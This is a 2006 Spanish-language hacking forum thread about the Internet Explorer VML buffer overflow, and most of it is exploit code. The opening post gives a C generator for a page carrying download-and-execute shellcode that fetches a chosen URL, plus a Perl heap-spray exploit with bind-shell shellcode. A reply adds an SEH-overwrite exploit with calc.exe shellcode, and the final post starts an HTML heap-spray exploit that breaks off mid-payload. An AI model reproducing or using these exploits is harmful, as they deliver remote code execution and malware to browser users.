elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 21:44  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Internet Explorer VML Buffer Overflow Download Exec Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Internet Explorer VML Buffer Overflow Download Exec Exploit  (Leído 3,450 veces)
VUGO

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Internet Explorer VML Buffer Overflow Download Exec Exploit
« en: 21 Septiembre 2006, 20:19 »

Hola chicos
vean estos codigos:
Código:
/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
int i=0;
unsigned int ncr = 0;

for(i=0; i<size; i+=2)
{
ncr = (buf[i+1] << 8) + buf[i];

fprintf(fp, "&#%d;", ncr);
}
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
unsigned char burl[255] = {0};
int sc_len = 0;
int psize = 0;
int i = 0;

unsigned int nop = 0x4141;
DWORD jmp = 0xeb06eb06;

if (argc < 2)
{
printf("Windows VML Download Exec Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
10 || strlen(url) > MAXURL)
{
printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d bytes.\n", MAXURL);
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];

printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w+b");
//fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

for(i=0; i<NOPSIZE; i++)
{
//fprintf(fp, "&#%d;", nop);
fprintf(fp, "A");
}

fflush(fp);

// print shellcode
memset(buf, 0x90, sizeof(buf));
//memset(buf, 0x90, NOPSIZE*2);

memcpy(buf, &ret, 4);
psize = 4+8+0x10;

memcpy(buf+psize, dc, sizeof(dc)-1);
psize += sizeof(dc)-1;

memcpy(buf+psize, dcstart, 4);
psize += 4;

sc_len = sizeof(sc)-1;
memcpy(buf+psize, sc, sc_len);
psize += sc_len;


// print URL
memset(burl, 0, sizeof(burl));
strncpy(burl, url, 60);

for(i=0; i<strlen(url)+1; i++)
{
burl[i] = buf[i] ^ 0xee;
}

memcpy(buf+psize, burl, strlen(url)+1);
psize += strlen(url)+1;

memcpy(buf+psize, dcend, 4);
psize += 4;


// print NCR
convert2ncr(buf, psize);



printf("[+] buff size %d bytes\n", psize);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}

-----------------------------------------------------------------------

#!/usr/bin/perl
#
# Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP0-SP1 +
# Windows 2000 SP4)
#
# Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
# For educational purpose only
#
# Note: This exploit is modified from Shirkdog's PoC
# (http://www.milw0rm.com/exploits/2400)
#
# I exploit the stack-based buffer overflow in the different manner because of
# the problem of shellcode. I use heap spraying technique to injection my
# shellcode in the heap. Because I can control EIP so I tell it to jump into
# the heap that contains shellcode ^-^
#
# This exploit tested on: Windows XP SP1 + IE6 SP1
#   Windows XP SP0 + IE6
#   Windows 2000 SP4 + IE6 SP1
#   Windows 2000 SP4 + IE6
#
# I will describe more implementation details at my blog in this weekend :)
#
# P.S. Because of the buffer overflow protection mechanism in Windows XP SP2,
# This exploit is not success. The situation that overwrite to the location
# that eax point to is not occured, so I cannot use my techqniue
# "The Fake Cookie" that I use to break buffer overflow protection in
# Windows Server 2003 SP0 to bypass it. If anybody can break this protection
# with some techniques, plz share information :)
#

use strict;

# win32_bind LPORT = 5555 - Metasploit
my $shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".
"\x66\x68\x15\xb3\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

my $jscript =
"<script>\n" .
"shellcode = unescape(\"" . convert_shellcode($shellcode) ."\");\n" .
"bigblock = unescape(\"\%u9090\%u9090\");\n" .
"headersize = 20;\n" .
"slackspace = headersize+shellcode.length;\n" .
"while (bigblock.length<slackspace) bigblock+=bigblock;\n" .
"fillblock = bigblock.substring(0, slackspace);\n" .
"block = bigblock.substring(0, bigblock.length-slackspace);\n" .
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" .
"memory = new Array();\n" .
"for (i=0;i<350;i++) memory[i] = block + shellcode;\n" .
"</script>";

my $header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n" .
"<head>\n" .
"<object id=\"VMLRender\" classid=\"CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E\">\n" .
"</object>\n" .
"<style>\n" .
"v\\:* { behavior: url(#VMLRender); }\n" .
"</style>\n" .
"</head>\n" .
$jscript .
"<body>\n" .
"<v:rect style='width:120pt;height:80pt' fillcolor=\"red\">\n" ;

my $footer =
"</v:rect>\n" .
"</body>\n" .
"</html>";


my $body1 = "<v:fill method=\"" ;
my $body2 =
"\" angle=\"-45\"\n" .
"focus=\"100%\" focusposition=\".5,.5\" focussize=\"0,0\"\n" .
"type=\"gradientRadial\" />\n" .
"</v:rect>\n" .
"</body>\n" .
"</html>";

my $page = "\xff\xfe"; # magic number of M$ unicode file
my $c;

# header + body1
foreach $c (split //, ($header . $body1)) {
$page = $page . $c . "\x00";
}

# padding + ret
$page = $page . "\x41\x00" x (256) . # padding
"\x01\x0d\x0d\x0d" . # writable memory
"\x44\x44\x44\x44" . # padding
"\x0d\x0d\x0d\x0d"; # return address

# body2 + footer
foreach $c (split //, ($body2 . $footer)) {
$page = $page . $c . "\x00";
}

open (IE_VML, ">", "exploit.html");

print IE_VML $page;

close IE_VML;

# This function copy from JSUnescape() code in Metasploit
sub convert_shellcode {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';

# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;

# Pad to an even number of bytes
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}


Regards...
Igor Marcel - Vugo Verbal Killer (VUGO), <vugo "at" hotmail.com>
Information Security Consultant
"Linux is modism, BSD is a life style"
« Última modificación: 26 Septiembre 2006, 06:21 por Sdc » En línea
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #1 en: 24 Septiembre 2006, 01:38 »

Thanks VUGO  :)
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #2 en: 24 Septiembre 2006, 02:21 »

Holas gente. Ese exploit no anda sobre sp2 ie6 como bien dice el autor...
# P.S. Because of the buffer overflow protection mechanism in Windows XP SP2,
# This exploit is not success. The situation that overwrite to the location
# that eax point to is not occured, so I cannot use my techqniue
# "The Fake Cookie" that I use to break buffer overflow protection in
# Windows Server 2003 SP0 to bypass it. If anybody can break this protection
# with some techniques, plz share information :)
Pero aun asi ie6 crashea. Debido a este tema estuve probando algunas cositas. Como en win2003 se puede escribir a cualquier direccion controlando ecx y debido a que la cookie se  chequea contra ecx entonces se puede saltar la proteccion de la pila, pero no sucede lo mismo en xp sp2. Sin embargo probe haciendo un overlow excesivo de la pila de manera de sobreescribir los SEH y lo logré con 1700 bytes, con esto se provoca una excepción antes del chequeo de la cookie. La estructura SEH se encuentra despues de 11016 bytes. En principio estoy haciendolo todo por pila y no por heap. Pude encontrar el opcode para saltar al SEH que controlo fuera del rango de direcciones del modulo principal, a saber:
00280B0B en locale.nls
Código:
00280B0B -  FF55 30 - CALL DWORD PTR SS:[EBP+30]
Parece ser que esta dirección es fija en xp sp2 ie6.
Armé el exploit de esta manera:
Código:
#include <stdio.h>
#include <mem.h>
#include <stdlib.h>

#define SEHSTRUC 11016
#define LENPAYLOAD 17000

unsigned char NSEH[] = "\xEB\x06\x90\x90"; // jmp short 6 para saltar el seh y ejecutar la sc
unsigned char ret[]= "\x0B\x0B\x5D\x01"; // 00280B0B en locale.nls CALL DWORD PTR SS:[EBP+30]

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x98"
"\x5c\xdb\xf5\x83\xeb\xfc\xe2\xf4\x64\xb4\x9f\xf5\x98\x5c\x50\xb0"
"\xa4\xd7\xa7\xf0\xe0\x5d\x34\x7e\xd7\x44\x50\xaa\xb8\x5d\x30\xbc"
"\x13\x68\x50\xf4\x76\x6d\x1b\x6c\x34\xd8\x1b\x81\x9f\x9d\x11\xf8"
"\x99\x9e\x30\x01\xa3\x08\xff\xf1\xed\xb9\x50\xaa\xbc\x5d\x30\x93"
"\x13\x50\x90\x7e\xc7\x40\xda\x1e\x13\x40\x50\xf4\x73\xd5\x87\xd1"
"\x9c\x9f\xea\x35\xfc\xd7\x9b\xc5\x1d\x9c\xa3\xf9\x13\x1c\xd7\x7e"
"\xe8\x40\x76\x7e\xf0\x54\x30\xfc\x13\xdc\x6b\xf5\x98\x5c\x50\x9d"
"\xa4\x03\xea\x03\xf8\x0a\x52\x0d\x1b\x9c\xa0\xa5\xf0\x22\x03\x17"
"\xeb\x34\x43\x0b\x12\x52\x8c\x0a\x7f\x3f\xba\x99\xfb\x72\xbe\x8d"
"\xfd\x5c\xdb\xf5";

char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>Ivanchuk</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n";

FILE *fp = NULL;

void convert2ncr(unsigned char * buf, int size)
{
 int i=0;
 unsigned int ncr = 0;
 for(i=0; i<SEHSTRUC+6; i+=2)
 {
  ncr = (buf[i+1] << 8) + buf[i];
  fprintf(fp, "&#%hu;", ncr);
 }
 fprintf(fp, "%s", "(");
 for(i=SEHSTRUC+8; i<size; i+=2)
 {
  ncr = (buf[i+1] << 8) + buf[i];
  fprintf(fp, "&#%hu;", ncr);
 }
}

void main(int argc, char **argv[])
{
 unsigned char * payload;
 fp = fopen("test.htm", "w+b");
 if(!fp)
 {
  printf("[-] Open file error!\n");
  return;
 }
 payload = (unsigned char *) malloc(LENPAYLOAD);
 memset(payload, 0x90, LENPAYLOAD);
 fprintf(fp, "%s", header);
 memcpy(payload+SEHSTRUC, NSEH, 4);
 memcpy(payload+SEHSTRUC+4, ret, 4);
 memcpy(payload+SEHSTRUC+8, scode, sizeof(scode)-1);
 convert2ncr(payload, LENPAYLOAD);
 fprintf(fp, "%s", footer);
 fclose(fp);
 free(payload);
 return;
}
Aun así tengo problemas, ya que debugeandolo en el ollydbg el exploit funciona, la sc se ejecuta de maravilla. Pero lanzandolo de manera independiente no  :-\. Alguien tiene idea de porqué sucede esto?, me gustaría que lo probaran y me dijeran si funciona o no.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
kasador_one

Desconectado Desconectado

Mensajes: 169


Cada día se aprende algo nuevo ! =)


Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #3 en: 24 Septiembre 2006, 02:28 »

Ufff

hace tiempo que no salia una vulnerabilidad en Internet Explorer !




Huuuuuuuu  la talla pa buena jajajajaja  ;D ;D ;D ;D ;D
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #4 en: 24 Septiembre 2006, 20:37 »

Qué, nadie sabe???? no puede ser... Es algo muy reciente!!!! todavía no salió el parche ni salió el exploit para xp sp2, se podrian poner las pilas y tratar de que salga algún exploit del foro alguna vez. Me parece que van a tener que dejarse de pensar en proyectos y ponerse a hacer algo de una vez por todas...
Saludos....
Ufff

hace tiempo que no salia una vulnerabilidad en Internet Explorer !




Huuuuuuuu  la talla pa buena jajajajaja  ;D ;D ;D ;D ;D

Que útil tu comentario, gracias...
« Última modificación: 24 Septiembre 2006, 20:40 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
kasador_one

Desconectado Desconectado

Mensajes: 169


Cada día se aprende algo nuevo ! =)


Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #5 en: 24 Septiembre 2006, 21:40 »

Qué, nadie sabe???? no puede ser... Es algo muy reciente!!!! todavía no salió el parche ni salió el exploit para xp sp2, se podrian poner las pilas y tratar de que salga algún exploit del foro alguna vez. Me parece que van a tener que dejarse de pensar en proyectos y ponerse a hacer algo de una vez por todas...
Saludos....
Ufff

hace tiempo que no salia una vulnerabilidad en Internet Explorer !




Huuuuuuuu  la talla pa buena jajajajaja  ;D ;D ;D ;D ;D

Que útil tu comentario, gracias...

1°: No fue un comentario, fue una broma.
2°: Hartos proyectos se han llevado a cabo y han resultado exitosos.

Un usuario de este foro hasta encontro un bugs en GMAIL y supo como explotarlo y lo reporto y lo hizo bien.

Algo que tenemos los usuarios de este foro es la "Etica" que no creamos ni programamos exploit solo para causar daño sino que cuando encontramos algo lo reportamos ¡ te quedo claro !
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #6 en: 24 Septiembre 2006, 22:14 »

Esto no es para causar daño, es simplemente para saber si es explotable, ya que tuve problemas. O no sabias que no han logrado que xp sp2 fuera vulnerado exitosamente??. Si observaras y supieras un poco de lo que puse verias que abre la calculadora nada mas, además se podría poner una scode harmless de modo de evitar los scriptkiddies.
En fin, visitando un blog de en serio en la red http://sf-freedom.blogspot.com/ parece ser que Trirat Kira tuvo problemas porque se le modificaba la scode y opto por usar la tecnica de heap spraying. Es probable que me este pasando eso, voy chequearlo y comento.
Saludos...
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
[VolkS]

Desconectado Desconectado

Mensajes: 288


[Argentina]


Ver Perfil
Re: Internet Explorer VML Buffer Overflow Download Exec Exploit
« Respuesta #7 en: 25 Septiembre 2006, 03:18 »

in SP2 work.

[code]<!--

..::[ jamikazu presents ]::..

Microsoft Internet Explorer VML Remote Buffer Overflow Exploit (0day)
Works on all Windows XP versions including SP2

Author: jamikazu
Mail: jamikazu@gmail.com

Credit: metasploit, SkyLined

invokes calc.exe if successful


-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">

   var heapSprayToAddress = 0x05050505;

   var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

   var heapBlockSize = 0x400000;

   var payLoadSize = payLoadCode.length * 2;

   var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

   var spraySlide = unescape("%u9090%u9090");
   spraySlide = getSpraySlide(spraySlide,spraySlideSize);

   heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

   memory = new Array();

   for (i=0;i<heapBlocks;i++)
   {
      memory = spraySlide + payLoadCode;
   }



   function getSpraySlide(spraySlide, spraySlideSize)
   {
      while (spraySlide.length*2<spraySlideSize)
      {
         spraySlide += spraySlide;
      }
      spraySlide = spraySlide.substring(0,spraySlideSize/2);
      return spraySlide;
   }

</script>                                                                                                                                                           
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method  = "&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505